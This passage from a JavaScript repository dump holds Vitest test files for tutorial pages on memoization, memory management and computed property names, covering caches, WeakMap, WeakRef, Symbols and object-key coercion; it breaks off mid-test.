lines 221-237: The Solution - Memoized Fibonacci describe('Memoized Fibonacci', () => { it('should calculate fibonacci correctly and efficiently', () => { const fibonacci = memoize(function fib(n) { if (n <= 1) return n return fibonacci(n - 1) + fibonacci(n - 2) }) expect(fibonacci(0)).toBe(0) expect(fibonacci(1)).toBe(1) expect(fibonacci(5)).toBe(5) expect(fibonacci(10)).toBe(55) expect(fibonacci(40)).toBe(102334155) expect(fibonacci(50)).toBe(12586269025) }) it('should reuse cached values for larger inputs', () => { let callCount = 0 const fibonacci = memoize(function fib(n) { callCount++ if (n <= 1) return n return fibonacci(n - 1) + fibonacci(n - 2) }) fibonacci(10) const callsFor10 = callCount callCount = 0 fibonacci(11) // Should only need to calculate fib(11) and fib(10) // With memoization, fib(11) reuses fib(10) and fib(9) from cache expect(callCount).toBeLessThan(callsFor10) }) }) }) // ============================================================ // WHEN MEMOIZATION HELPS // From memoization.mdx lines 268-335 // ============================================================ describe('When Memoization Helps', () => { function memoize(fn) { const cache = new Map() return function memoized(...args) { const key = JSON.stringify(args) if (cache.has(key)) return cache.get(key) const result = fn.apply(this, args) cache.set(key, result) return result } } // From lines 277-295: Expensive Computations describe('Expensive Computations', () => { it('should benefit from caching prime calculations', () => { let callCount = 0 const calculatePrimes = memoize(function(limit) { callCount++ const primes = [] for (let i = 2; i <= limit; i++) { let isPrime = true for (let j = 2; j <= Math.sqrt(i); j++) { if (i % j === 0) { isPrime = false break } } if (isPrime) primes.push(i) } return primes }) const result1 = calculatePrimes(100) expect(callCount).toBe(1) expect(result1).toContain(2) expect(result1).toContain(97) const result2 = calculatePrimes(100) expect(callCount).toBe(1) // Not called again expect(result2).toEqual(result1) }) }) // From lines 299-314: Recursive with overlapping subproblems describe('Recursive Functions with Overlapping Subproblems', () => { it('should optimize climbStairs problem', () => { const climbStairs = memoize(function(n) { if (n <= 2) return n return climbStairs(n - 1) + climbStairs(n - 2) }) expect(climbStairs(1)).toBe(1) expect(climbStairs(2)).toBe(2) expect(climbStairs(3)).toBe(3) expect(climbStairs(4)).toBe(5) expect(climbStairs(5)).toBe(8) expect(climbStairs(50)).toBe(20365011074) }) }) // From lines 340-355: Pure Functions Only describe('Pure Functions Only', () => { it('should work correctly with pure functions', () => { const square = memoize(n => n * n) expect(square(5)).toBe(25) expect(square(5)).toBe(25) expect(square(10)).toBe(100) }) it('should demonstrate memoization failure with impure functions', () => { let multiplier = 2 const multiply = memoize(n => n * multiplier) expect(multiply(5)).toBe(10) multiplier = 3 // BUG: Still returns 10 from cache, should be 15 expect(multiply(5)).toBe(10) // This demonstrates the problem }) }) }) // ============================================================ // WHEN MEMOIZATION HURTS // From memoization.mdx lines 345-408 // ============================================================ describe('When Memoization Hurts', () => { function memoize(fn) { const cache = new Map() return function memoized(...args) { const key = JSON.stringify(args) if (cache.has(key)) return cache.get(key) const result = fn.apply(this, args) cache.set(key, result) return result } } // From lines 361-371: Functions with Side Effects describe('Functions with Side Effects', () => { it('should skip side effects on cache hits', () => { const logs = [] const logAndDouble = memoize(function(n) { logs.push(`Doubling ${n}`) return n * 2 }) expect(logAndDouble(5)).toBe(10) expect(logs).toEqual(['Doubling 5']) expect(logAndDouble(5)).toBe(10) // Side effect NOT executed again - this is the problem! expect(logs).toEqual(['Doubling 5']) }) }) }) // ============================================================ // WEAKMAP FOR OBJECT ARGUMENTS // From memoization.mdx lines 414-494 // ============================================================ describe('WeakMap for Object Arguments', () => { // From lines 416-430: Problem with JSON.stringify describe('JSON.stringify Problems', () => { it('should show that different objects with same content create same key', () => { const obj1 = { a: 1 } const obj2 = { a: 1 } expect(JSON.stringify(obj1)).toBe(JSON.stringify(obj2)) // But they are different objects! expect(obj1).not.toBe(obj2) }) }) // From lines 434-456: WeakMap solution describe('WeakMap-based Memoization', () => { it('should cache based on object identity', () => { function memoizeWithWeakMap(fn) { const cache = new WeakMap() return function(obj) { if (cache.has(obj)) { return cache.get(obj) } const result = fn(obj) cache.set(obj, result) return result } } let callCount = 0 const processUser = memoizeWithWeakMap(function(user) { callCount++ return { ...user, processed: true } }) const user = { name: 'Alice' } const result1 = processUser(user) expect(callCount).toBe(1) expect(result1).toEqual({ name: 'Alice', processed: true }) const result2 = processUser(user) expect(callCount).toBe(1) // Same object reference - cached const sameData = { name: 'Alice' } const result3 = processUser(sameData) expect(callCount).toBe(2) // Different object - not cached }) }) // From lines 477-494: Hybrid approach describe('Hybrid Approach', () => { it('should handle both primitives and objects', () => { function memoizeHybrid(fn) { const primitiveCache = new Map() const objectCache = new WeakMap() return function(arg) { const cache = typeof arg === 'object' && arg !== null ? objectCache : primitiveCache if (cache.has(arg)) { return cache.get(arg) } const result = fn(arg) cache.set(arg, result) return result } } let callCount = 0 const process = memoizeHybrid((val) => { callCount++ return typeof val === 'object' ? { ...val, processed: true } : val * 2 }) // Primitive handling expect(process(5)).toBe(10) expect(callCount).toBe(1) expect(process(5)).toBe(10) expect(callCount).toBe(1) // Cached // Object handling const obj = { x: 1 } process(obj) expect(callCount).toBe(2) process(obj) expect(callCount).toBe(2) // Cached }) }) }) // ============================================================ // COMMON MEMOIZATION MISTAKES // From memoization.mdx lines 500-575 // ============================================================ describe('Common Memoization Mistakes', () => { function memoize(fn) { const cache = new Map() return function memoized(...args) { const key = JSON.stringify(args) if (cache.has(key)) return cache.get(key) const result = fn.apply(this, args) cache.set(key, result) return result } } // From lines 504-523: Mistake 1 - Memoizing Impure Functions describe('Mistake 1: Memoizing Impure Functions', () => { it('should demonstrate correct approach - make dependency an argument', () => { const calculateTax = memoize(function(price, rate) { return price * rate }) expect(calculateTax(100, 0.08)).toBe(8) expect(calculateTax(100, 0.10)).toBe(10) // Different rates = different cache keys = correct results }) }) // From lines 527-542: Mistake 2 - Argument Order Matters describe('Mistake 2: Forgetting Argument Order Matters', () => { it('should create different cache entries for different argument order', () => { let callCount = 0 const add = memoize((a, b) => { callCount++ return a + b }) add(1, 2) expect(callCount).toBe(1) add(2, 1) // Different key: "[2,1]" vs "[1,2]" expect(callCount).toBe(2) // Calculates again even though result is same }) it('should handle commutative operations with sorted keys', () => { function memoizeCommutative(fn) { const cache = new Map() return function(...args) { const key = JSON.stringify(args.slice().sort()) if (cache.has(key)) return cache.get(key) const result = fn.apply(this, args) cache.set(key, result) return result } } let callCount = 0 const add = memoizeCommutative((a, b) => { callCount++ return a + b }) add(1, 2) expect(callCount).toBe(1) add(2, 1) // Same sorted key: "[1,2]" expect(callCount).toBe(1) // Uses cache }) }) // From lines 546-567: Mistake 3 - Not Handling this Context describe('Mistake 3: Not Handling this Context', () => { it('should fail without proper this handling', () => { function badMemoize(fn) { const cache = new Map() return function(...args) { const key = JSON.stringify(args) if (cache.has(key)) return cache.get(key) const result = fn(...args) // 'this' is lost! cache.set(key, result) return result } } const obj = { value: 10, compute: badMemoize(function(n) { return n * this.value }) } // This will fail or return NaN because 'this' is not the object expect(() => obj.compute(5)).toThrow() }) it('should work with proper this handling', () => { function goodMemoize(fn) { const cache = new Map() return function(...args) { const key = JSON.stringify(args) if (cache.has(key)) return cache.get(key) const result = fn.apply(this, args) // 'this' preserved cache.set(key, result) return result } } const obj = { value: 10, compute: goodMemoize(function(n) { return n * this.value }) } expect(obj.compute(5)).toBe(50) }) }) // From lines 571-587: Mistake 4 - Recursive Function References Wrong Version describe('Mistake 4: Recursive Function References Wrong Version', () => { it('should reference the memoized version in recursive calls', () => { let callCount = 0 // CORRECT: References 'factorial' (the memoized version) const factorial = memoize(function(n) { callCount++ if (n <= 1) return 1 return n * factorial(n - 1) }) expect(factorial(5)).toBe(120) const callsFor5 = callCount callCount = 0 expect(factorial(6)).toBe(720) // Should only call factorial(6) since 5! is cached expect(callCount).toBe(1) }) }) }) // ============================================================ // ADVANCED: LRU CACHE FOR BOUNDED MEMORY // From memoization.mdx lines 595-630 // ============================================================ describe('Advanced: LRU Cache', () => { // From lines 599-626: LRU Cache Implementation it('should evict least recently used entries when at capacity', () => { function memoizeLRU(fn, maxSize = 3) { const cache = new Map() return function(...args) { const key = JSON.stringify(args) if (cache.has(key)) { // Move to end (most recently used) const value = cache.get(key) cache.delete(key) cache.set(key, value) return value } const result = fn.apply(this, args) // Evict oldest entry if at capacity if (cache.size >= maxSize) { const oldestKey = cache.keys().next().value cache.delete(oldestKey) } cache.set(key, result) return result } } let callCount = 0 const double = memoizeLRU((n) => { callCount++ return n * 2 }, 3) // Fill cache double(1) // cache: [1] double(2) // cache: [1, 2] double(3) // cache: [1, 2, 3] expect(callCount).toBe(3) // Access cached value double(1) // cache: [2, 3, 1] (1 moved to end) expect(callCount).toBe(3) // Add new value, evicts oldest (2) double(4) // cache: [3, 1, 4] expect(callCount).toBe(4) // 2 was evicted, needs recalculation double(2) // cache: [1, 4, 2] expect(callCount).toBe(5) // 1 is still cached double(1) expect(callCount).toBe(5) }) }) }) ================================================ FILE: tests/beyond/memory-performance/memory-management/memory-management.test.js ================================================ import { describe, it, expect } from 'vitest' /** * Tests for Memory Management concept * Source: /docs/beyond/concepts/memory-management.mdx */ describe('Memory Management', () => { describe('Memory Allocation', () => { // Source: memory-management.mdx lines ~115-125 it('should allocate memory for primitives', () => { const n = 123 const s = "hello" const b = true expect(typeof n).toBe('number') expect(typeof s).toBe('string') expect(typeof b).toBe('boolean') }) // Source: memory-management.mdx lines ~115-125 it('should allocate memory for objects and arrays', () => { const obj = { a: 1, b: 2 } const arr = [1, 2, 3] const fn = function() { return 'hello' } expect(obj).toEqual({ a: 1, b: 2 }) expect(arr).toEqual([1, 2, 3]) expect(fn()).toBe('hello') }) // Source: memory-management.mdx lines ~127-131 it('should allocate new memory for string operations', () => { const s = "hello" const s2 = s.substring(0, 3) expect(s2).toBe('hel') expect(s).toBe('hello') // Original unchanged }) // Source: memory-management.mdx lines ~127-131 it('should allocate new memory for array concatenation', () => { const arr = [1, 2, 3] const arr2 = arr.concat([4, 5]) expect(arr2).toEqual([1, 2, 3, 4, 5]) expect(arr).toEqual([1, 2, 3]) // Original unchanged }) // Source: memory-management.mdx lines ~127-131 it('should allocate new memory for object spread', () => { const obj = { a: 1 } const obj2 = { ...obj, c: 3 } expect(obj2).toEqual({ a: 1, c: 3 }) expect(obj).toEqual({ a: 1 }) // Original unchanged }) // Source: memory-management.mdx lines ~135-139 it('should allocate memory via constructor calls', () => { const date = new Date() const regex = new RegExp("pattern") const map = new Map() const set = new Set([1, 2, 3]) expect(date instanceof Date).toBe(true) expect(regex instanceof RegExp).toBe(true) expect(map instanceof Map).toBe(true) expect(set instanceof Set).toBe(true) expect(set.size).toBe(3) }) }) describe('Stack vs Heap: Reference Behavior', () => { // Source: memory-management.mdx lines ~185-195 it('should demonstrate that primitives are copied by value (stack)', () => { let a = 10 let b = a // Copy of value b = 20 expect(a).toBe(10) // Original unchanged expect(b).toBe(20) }) // Source: memory-management.mdx lines ~185-195 it('should demonstrate that objects are passed by reference (heap)', () => { const original = { value: 1 } const copy = original // Same reference! copy.value = 2 expect(original.value).toBe(2) // Both point to same object expect(copy.value).toBe(2) }) // Source: memory-management.mdx lines ~185-195 it('should create independent copy using spread operator', () => { const original = { value: 1 } const independent = { ...original } independent.value = 3 expect(original.value).toBe(1) // Original unchanged expect(independent.value).toBe(3) }) // Source: memory-management.mdx lines ~170-182 it('should demonstrate stack allocation for primitives in function', () => { function calculateTotal(price, quantity) { const tax = 0.08 const subtotal = price * quantity const total = subtotal + (subtotal * tax) return total } const result = calculateTotal(100, 2) expect(result).toBe(216) // 200 + (200 * 0.08) = 216 }) }) describe('Reachability and Garbage Collection', () => { // Source: memory-management.mdx lines ~210-220 it('should demonstrate single reference becoming null', () => { let user = { name: "John" } // Object is reachable via 'user' expect(user.name).toBe("John") user = null // Now the object has no references expect(user).toBe(null) // The original object can now be garbage collected }) // Source: memory-management.mdx lines ~223-230 it('should demonstrate multiple references to same object', () => { let user = { name: "John" } let admin = user // Two references to same object user = null // Object still reachable via 'admin' expect(admin.name).toBe("John") admin = null // Now the object is unreachable expect(admin).toBe(null) }) // Source: memory-management.mdx lines ~233-250 it('should demonstrate interlinked objects', () => { function marry(man, woman) { man.wife = woman woman.husband = man return { father: man, mother: woman } } let family = marry({ name: "John" }, { name: "Ann" }) expect(family.father.wife.name).toBe("Ann") expect(family.mother.husband.name).toBe("John") family = null // The entire structure becomes unreachable // Even though John and Ann reference each other, // they're unreachable from any root — so they're freed }) }) describe('WeakMap and WeakSet', () => { // Source: memory-management.mdx lines ~380-400 it('should store metadata with WeakMap', () => { const metadata = new WeakMap() const element = { id: 1, type: 'button' } metadata.set(element, { processedAt: Date.now(), clickCount: 0 }) expect(metadata.has(element)).toBe(true) expect(metadata.get(element).clickCount).toBe(0) }) it('should not allow iteration over WeakMap', () => { const wm = new WeakMap() const key = {} wm.set(key, 'value') // WeakMap is not iterable expect(typeof wm[Symbol.iterator]).toBe('undefined') }) it('should only accept objects as WeakMap keys', () => { const wm = new WeakMap() const obj = {} wm.set(obj, 'value') expect(wm.get(obj)).toBe('value') // Primitives throw TypeError expect(() => wm.set('string', 'value')).toThrow(TypeError) expect(() => wm.set(123, 'value')).toThrow(TypeError) }) it('should work with WeakSet for unique objects', () => { const ws = new WeakSet() const obj1 = { id: 1 } const obj2 = { id: 2 } ws.add(obj1) ws.add(obj2) expect(ws.has(obj1)).toBe(true) expect(ws.has(obj2)).toBe(true) expect(ws.has({ id: 1 })).toBe(false) // Different object }) }) describe('Common Memory Leak Patterns', () => { describe('Accidental Global Variables', () => { // Source: memory-management.mdx lines ~290-300 it('should demonstrate proper variable declaration', () => { function processData() { const localData = [1, 2, 3, 4, 5] return localData.length } const result = processData() expect(result).toBe(5) // localData is freed when function returns }) }) describe('Closures Holding References', () => { // Source: memory-management.mdx lines ~350-370 it('should demonstrate closure capturing only needed value', () => { function createHandler() { const hugeData = new Array(100).fill('x') const length = hugeData.length // Extract needed value return function handler() { return length // Only captures 'length', not hugeData } } const handler = createHandler() expect(handler()).toBe(100) }) it('should demonstrate closure capturing entire object', () => { function createCounter() { let count = 0 return { increment: () => ++count, getCount: () => count } } const counter = createCounter() counter.increment() counter.increment() expect(counter.getCount()).toBe(2) }) }) describe('Growing Collections (Unbounded Caches)', () => { // Source: memory-management.mdx lines ~375-410 it('should demonstrate bounded LRU cache', () => { class LRUCache { constructor(maxSize = 100) { this.cache = new Map() this.maxSize = maxSize } get(key) { if (this.cache.has(key)) { const value = this.cache.get(key) this.cache.delete(key) this.cache.set(key, value) return value } return undefined } set(key, value) { if (this.cache.has(key)) { this.cache.delete(key) } else if (this.cache.size >= this.maxSize) { const firstKey = this.cache.keys().next().value this.cache.delete(firstKey) } this.cache.set(key, value) } get size() { return this.cache.size } } const cache = new LRUCache(3) cache.set('a', 1) cache.set('b', 2) cache.set('c', 3) expect(cache.size).toBe(3) cache.set('d', 4) // Should evict 'a' expect(cache.size).toBe(3) expect(cache.get('a')).toBe(undefined) expect(cache.get('d')).toBe(4) }) it('should demonstrate WeakMap for object key caching', () => { const cache = new WeakMap() function getData(obj) { if (!cache.has(obj)) { cache.set(obj, { computed: obj.id * 2 }) } return cache.get(obj) } const obj1 = { id: 5 } const obj2 = { id: 10 } expect(getData(obj1).computed).toBe(10) expect(getData(obj2).computed).toBe(20) // Same object returns cached value expect(getData(obj1).computed).toBe(10) }) }) }) describe('Object Pools', () => { // Source: memory-management.mdx lines ~500-520 it('should reuse objects from pool instead of creating new ones', () => { class ParticlePool { constructor(size) { this.pool = Array.from({ length: size }, () => ({ x: 0, y: 0, vx: 0, vy: 0, active: false })) } acquire() { const particle = this.pool.find(p => !p.active) if (particle) { particle.active = true } return particle } release(particle) { particle.active = false particle.x = 0 particle.y = 0 particle.vx = 0 particle.vy = 0 } getActiveCount() { return this.pool.filter(p => p.active).length } } const pool = new ParticlePool(5) expect(pool.getActiveCount()).toBe(0) const p1 = pool.acquire() const p2 = pool.acquire() expect(pool.getActiveCount()).toBe(2) p1.x = 100 p1.y = 200 pool.release(p1) expect(pool.getActiveCount()).toBe(1) expect(p1.x).toBe(0) // Reset on release // Acquiring again should reuse the released particle const p3 = pool.acquire() expect(pool.getActiveCount()).toBe(2) }) }) describe('String Concatenation Efficiency', () => { // Source: memory-management.mdx lines ~535-550 it('should build strings efficiently using array join', () => { const iterations = 1000 // Build array, join once const parts = [] for (let i = 0; i < iterations; i++) { parts.push(`item ${i}`) } const result = parts.join(', ') expect(result.startsWith('item 0')).toBe(true) expect(result.endsWith('item 999')).toBe(true) expect(parts.length).toBe(iterations) }) }) describe('WeakRef (Advanced)', () => { // Source: memory-management.mdx lines ~415-430 it('should create weak reference to object', () => { let target = { name: 'test' } const ref = new WeakRef(target) // deref() returns the target if it still exists expect(ref.deref()?.name).toBe('test') // While target is still referenced, deref() works expect(ref.deref()).toBe(target) }) it('should demonstrate WeakRef API', () => { const obj = { value: 42 } const weakRef = new WeakRef(obj) // deref() returns the object const dereferenced = weakRef.deref() expect(dereferenced?.value).toBe(42) }) }) describe('Memory Lifecycle Phases', () => { // Source: memory-management.mdx lines ~65-95 it('should demonstrate allocation phase', () => { // Allocation happens automatically const name = "Alice" const user = { id: 1, name: "Alice" } const items = [1, 2, 3] expect(name).toBe("Alice") expect(user.id).toBe(1) expect(items.length).toBe(3) }) it('should demonstrate use phase', () => { const user = { name: "Alice", age: 25 } // Read from memory const name = user.name expect(name).toBe("Alice") // Write to memory user.age = 30 expect(user.age).toBe(30) }) it('should demonstrate how function scope enables release', () => { function processData() { const tempData = { huge: new Array(100).fill('x') } return tempData.huge.length } // After processData() returns, tempData is unreachable const result = processData() expect(result).toBe(100) // tempData can now be garbage collected }) }) describe('Multiple References', () => { it('should track objects with multiple references', () => { let a = { value: 1 } let b = a // Same object let c = a // Same object expect(a).toBe(b) expect(b).toBe(c) a.value = 2 expect(b.value).toBe(2) expect(c.value).toBe(2) }) it('should demonstrate reference independence after reassignment', () => { let a = { value: 1 } let b = a // Now b points to new object b = { value: 2 } expect(a.value).toBe(1) expect(b.value).toBe(2) expect(a).not.toBe(b) }) }) describe('Cleanup Patterns', () => { it('should demonstrate nullifying references', () => { let data = { large: new Array(100).fill('data') } // Use the data const length = data.large.length expect(length).toBe(100) // Nullify to allow GC data = null expect(data).toBe(null) }) it('should demonstrate clearing collections', () => { const items = [1, 2, 3, 4, 5] expect(items.length).toBe(5) // Clear array items.length = 0 expect(items.length).toBe(0) }) it('should demonstrate Map/Set cleanup', () => { const map = new Map() map.set('a', 1) map.set('b', 2) expect(map.size).toBe(2) map.clear() expect(map.size).toBe(0) }) }) }) ================================================ FILE: tests/beyond/modern-syntax-operators/computed-property-names/computed-property-names.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Computed Property Names', () => { describe('Basic Syntax', () => { // Source: computed-property-names.mdx lines 7-15 (Opening code example) it('should demonstrate ES6 computed property vs ES5 two-step pattern', () => { // Before ES6 - two steps required const key = 'status' const obj = {} obj[key] = 'active' // ES6 computed property names - single expression const key2 = 'status' const obj2 = { [key2]: 'active' } expect(obj).toEqual({ status: 'active' }) expect(obj2).toEqual({ status: 'active' }) }) // Source: computed-property-names.mdx lines 36-45 (What are Computed Property Names) it('should evaluate expression in brackets to determine property name', () => { const field = 'email' const value = 'alice@example.com' const formData = { [field]: value, [`${field}_verified`]: true } expect(formData).toEqual({ email: 'alice@example.com', email_verified: true }) }) // Source: computed-property-names.mdx lines 86-96 (Variable as Key) it('should use variable value as property name', () => { const propName = 'score' const player = { name: 'Alice', [propName]: 100 } expect(player).toEqual({ name: 'Alice', score: 100 }) expect(player.score).toBe(100) }) // Source: computed-property-names.mdx lines 98-109 (Template Literal as Key) it('should support template literals as computed keys', () => { const prefix = 'user' const id = 42 const data = { [`${prefix}_${id}`]: 'Alice', [`${prefix}_${id}_role`]: 'admin' } expect(data).toEqual({ user_42: 'Alice', user_42_role: 'admin' }) }) // Source: computed-property-names.mdx lines 111-122 (Expression as Key) it('should support expressions as computed keys', () => { const i = 0 const obj = { ['prop' + (i + 1)]: 'first', ['prop' + (i + 2)]: 'second', [1 + 1]: 'number key' } expect(obj['2']).toBe('number key') expect(obj.prop1).toBe('first') expect(obj.prop2).toBe('second') }) // Source: computed-property-names.mdx lines 124-133 (Function Call as Key) it('should support function calls as computed keys', () => { function getKey(type) { return `data_${type}_test` } const cache = { [getKey('user')]: { name: 'Alice' } } expect(cache.data_user_test).toEqual({ name: 'Alice' }) expect(Object.keys(cache)[0]).toBe('data_user_test') }) }) describe('Order of Evaluation', () => { // Source: computed-property-names.mdx lines 141-153 (Key Before Value) it('should evaluate key expression before value expression', () => { let counter = 0 const obj = { [++counter]: counter, // key: 1, value: 1 [++counter]: counter, // key: 2, value: 2 [++counter]: counter // key: 3, value: 3 } expect(obj).toEqual({ '1': 1, '2': 2, '3': 3 }) }) it('should process properties left-to-right in source order', () => { const order = [] const obj = { [(order.push('key1'), 'a')]: (order.push('val1'), 1), [(order.push('key2'), 'b')]: (order.push('val2'), 2) } expect(order).toEqual(['key1', 'val1', 'key2', 'val2']) expect(obj).toEqual({ a: 1, b: 2 }) }) }) describe('Type Coercion (ToPropertyKey)', () => { // Source: computed-property-names.mdx lines 167-178 (Type Coercion examples) it('should coerce various types to strings', () => { const obj = { [42]: 'number', [true]: 'boolean', [null]: 'null', [[1, 2, 3]]: 'array' } expect(obj).toEqual({ '42': 'number', 'true': 'boolean', 'null': 'null', '1,2,3': 'array' }) }) // Source: computed-property-names.mdx lines 180-183 (Number/string collision) it('should treat number and string keys as the same property', () => { const obj = { [42]: 'number key' } expect(obj[42]).toBe('number key') expect(obj['42']).toBe('number key') // Same property! }) it('should convert undefined to string', () => { const obj = { [undefined]: 'undefined value' } expect(obj['undefined']).toBe('undefined value') }) it('should convert objects using toString()', () => { const customObj = { toString() { return 'customKey' } } const obj = { [customObj]: 'custom object key' } expect(obj.customKey).toBe('custom object key') }) it('should convert plain objects to [object Object]', () => { const plainObj = { id: 1 } const obj = { [plainObj]: 'plain object key' } expect(obj['[object Object]']).toBe('plain object key') }) }) describe('Pre-ES6 Comparison', () => { // Source: computed-property-names.mdx lines 191-201 (ES5 pattern) it('should show ES5 two-step pattern equivalence', () => { function createUserES5(role, name) { const obj = {} obj[role] = name return obj } const admin = createUserES5('admin', 'Alice') expect(admin).toEqual({ admin: 'Alice' }) }) // Source: computed-property-names.mdx lines 213-227 (ES6 patterns) it('should enable elegant reduce patterns with computed properties', () => { const fields = ['name', 'email', 'age'] const defaults = fields.reduce( (acc, field) => ({ ...acc, [field]: '' }), {} ) expect(defaults).toEqual({ name: '', email: '', age: '' }) }) }) describe('Symbol Keys', () => { // Source: computed-property-names.mdx lines 235-244 (Symbol syntax requirement) it('should require computed syntax for Symbol keys', () => { const mySymbol = Symbol('id') // This creates a string key "mySymbol", NOT a Symbol key! const wrong = { mySymbol: 'value' } expect(Object.keys(wrong)).toEqual(['mySymbol']) // This uses the Symbol as the key const correct = { [mySymbol]: 'value' } expect(Object.keys(correct)).toEqual([]) // Symbols don't appear in keys! expect(Object.getOwnPropertySymbols(correct)).toEqual([mySymbol]) }) // Source: computed-property-names.mdx lines 248-262 (Symbol keys are hidden) it('should hide Symbol keys from iteration methods', () => { const secret = Symbol('secret') const user = { name: 'Alice', [secret]: 'classified information' } // Symbol keys are hidden from these: expect(Object.keys(user)).toEqual(['name']) expect(JSON.stringify(user)).toBe('{"name":"Alice"}') const keysFromForIn = [] for (const key in user) { keysFromForIn.push(key) } expect(keysFromForIn).toEqual(['name']) // But you can still access them: expect(user[secret]).toBe('classified information') expect(Object.getOwnPropertySymbols(user)).toEqual([secret]) }) // Source: computed-property-names.mdx lines 268-287 (Symbol.iterator) it('should make objects iterable with Symbol.iterator', () => { const range = { start: 1, end: 5, [Symbol.iterator]() { let current = this.start const end = this.end return { next() { if (current <= end) { return { value: current++, done: false } } return { done: true } } } } } expect([...range]).toEqual([1, 2, 3, 4, 5]) const collected = [] for (const num of range) { collected.push(num) } expect(collected).toEqual([1, 2, 3, 4, 5]) }) // Source: computed-property-names.mdx lines 291-301 (Symbol.toStringTag) it('should customize type string with Symbol.toStringTag', () => { const myCollection = { items: [], [Symbol.toStringTag]: 'MyCollection' } expect(Object.prototype.toString.call(myCollection)).toBe('[object MyCollection]') expect(Object.prototype.toString.call({})).toBe('[object Object]') }) // Source: computed-property-names.mdx lines 305-322 (Symbol.toPrimitive) it('should enable custom type coercion with Symbol.toPrimitive', () => { const temperature = { celsius: 20, [Symbol.toPrimitive](hint) { switch (hint) { case 'number': return this.celsius case 'string': return `${this.celsius}°C` default: return this.celsius } } } expect(+temperature).toBe(20) // number hint expect(`${temperature}`).toBe('20°C') // string hint expect(temperature + 10).toBe(30) // default hint }) // Source: computed-property-names.mdx lines 326-347 (Privacy patterns) it('should provide encapsulation with module-scoped Symbols', () => { const _balance = Symbol('balance') class BankAccount { constructor(initial) { this[_balance] = initial } deposit(amount) { this[_balance] += amount } getBalance() { return this[_balance] } } const account = new BankAccount(100) expect(Object.keys(account)).toEqual([]) expect(JSON.stringify(account)).toBe('{}') expect(account.getBalance()).toBe(100) account.deposit(50) expect(account.getBalance()).toBe(150) // Still accessible if you know about Symbols: const symbols = Object.getOwnPropertySymbols(account) expect(symbols.length).toBe(1) expect(account[symbols[0]]).toBe(150) }) }) describe('Computed Method Names', () => { // Source: computed-property-names.mdx lines 355-368 (Basic computed methods) it('should support computed method names', () => { const action = 'greet' const obj = { [action]() { return 'Hello!' }, [`${action}Loudly`]() { return 'HELLO!' } } expect(obj.greet()).toBe('Hello!') expect(obj.greetLoudly()).toBe('HELLO!') }) // Source: computed-property-names.mdx lines 372-386 (Computed generator methods) it('should support computed generator methods', () => { const iteratorName = 'values' const collection = { items: [1, 2, 3], *[iteratorName]() { for (const item of this.items) { yield item * 2 } } } expect([...collection.values()]).toEqual([2, 4, 6]) }) it('should support computed async methods', () => { const fetchName = 'fetchData' const api = { async [fetchName]() { return Promise.resolve('data') } } expect(typeof api.fetchData).toBe('function') expect(api.fetchData()).toBeInstanceOf(Promise) }) }) describe('Computed Getters and Setters', () => { // Source: computed-property-names.mdx lines 401-422 (Getters and setters) it('should support computed getters and setters', () => { const prop = 'fullName' const person = { firstName: 'Alice', lastName: 'Smith', get [prop]() { return `${this.firstName} ${this.lastName}` }, set [prop](value) { const parts = value.split(' ') this.firstName = parts[0] this.lastName = parts[1] } } expect(person.fullName).toBe('Alice Smith') person.fullName = 'Bob Jones' expect(person.firstName).toBe('Bob') expect(person.lastName).toBe('Jones') }) it('should support Symbol-keyed accessors', () => { const _value = Symbol('value') const validated = { [_value]: 0, get [Symbol.for('value')]() { return this[_value] }, set [Symbol.for('value')](v) { if (typeof v !== 'number') { throw new TypeError('Value must be a number') } this[_value] = v } } validated[Symbol.for('value')] = 42 expect(validated[Symbol.for('value')]).toBe(42) expect(() => { validated[Symbol.for('value')] = 'not a number' }).toThrow(TypeError) }) }) describe('Real-World Use Cases', () => { // Source: computed-property-names.mdx lines 451-465 (Form field handling) it('should handle form field state updates', () => { function handleInputChange(fieldName, value) { return { [fieldName]: value, [`${fieldName}Touched`]: true, [`${fieldName}Error`]: null } } const updates = handleInputChange('email', 'alice@example.com') expect(updates).toEqual({ email: 'alice@example.com', emailTouched: true, emailError: null }) }) // Source: computed-property-names.mdx lines 469-483 (Redux-style state) it('should handle Redux-style state updates', () => { function updateField(state, field, value) { return { ...state, [field]: value, lastModified: 'now' } } const state = { name: 'Alice', email: '' } const newState = updateField(state, 'email', 'alice@example.com') expect(newState.name).toBe('Alice') expect(newState.email).toBe('alice@example.com') expect(newState.lastModified).toBe('now') }) // Source: computed-property-names.mdx lines 487-500 (i18n) it('should create internationalization translation objects', () => { function createTranslations(locale, translations) { return { [`messages_${locale}`]: translations, [`${locale}_loaded`]: true } } const spanish = createTranslations('es', { hello: 'hola' }) expect(spanish.messages_es).toEqual({ hello: 'hola' }) expect(spanish.es_loaded).toBe(true) }) // Source: computed-property-names.mdx lines 504-521 (API response mapping) it('should normalize API responses with dynamic keys', () => { function normalizeResponse(entityType, items) { return items.reduce((acc, item) => ({ ...acc, [`${entityType}_${item.id}`]: item }), {}) } const users = [ { id: 1, name: 'Alice' }, { id: 2, name: 'Bob' } ] const normalized = normalizeResponse('user', users) expect(normalized).toEqual({ user_1: { id: 1, name: 'Alice' }, user_2: { id: 2, name: 'Bob' } }) }) }) describe('Edge Cases and Gotchas', () => { // Source: computed-property-names.mdx lines 527-537 (Duplicate keys) it('should let last duplicate key win', () => { const key = 'same' const obj = { [key]: 'first', ['sa' + 'me']: 'second', same: 'third' // Static key, same string } expect(obj).toEqual({ same: 'third' }) }) // Source: computed-property-names.mdx lines 541-552 (Keys that throw) it('should abort object creation if key expression throws', () => { function badKey() { throw new Error('Key evaluation failed') } expect(() => { const obj = { valid: 'ok', [badKey()]: 'never reached' } }).toThrow('Key evaluation failed') }) // Source: computed-property-names.mdx lines 556-565 (Object toString collisions) it('should cause collisions when objects toString to same value', () => { const objA = { toString: () => 'key' } const objB = { toString: () => 'key' } const data = { [objA]: 'first', [objB]: 'second' // Overwrites! Both → 'key' } expect(data).toEqual({ key: 'second' }) }) // Source: computed-property-names.mdx lines 569-582 (__proto__ special case) it('should treat __proto__ differently in computed vs non-computed form', () => { // Non-computed: Sets the prototype! const obj1 = { __proto__: Array.prototype } expect(obj1 instanceof Array).toBe(true) expect(Object.hasOwn(obj1, '__proto__')).toBe(false) // Computed: Creates a normal property const obj2 = { ['__proto__']: Array.prototype } expect(obj2 instanceof Array).toBe(false) expect(Object.hasOwn(obj2, '__proto__')).toBe(true) // Shorthand: Also creates a normal property const __proto__ = 'just a string' const obj3 = { __proto__ } expect(obj3.__proto__).toBe('just a string') expect(Object.hasOwn(obj3, '__proto__')).toBe(true) }) it('should 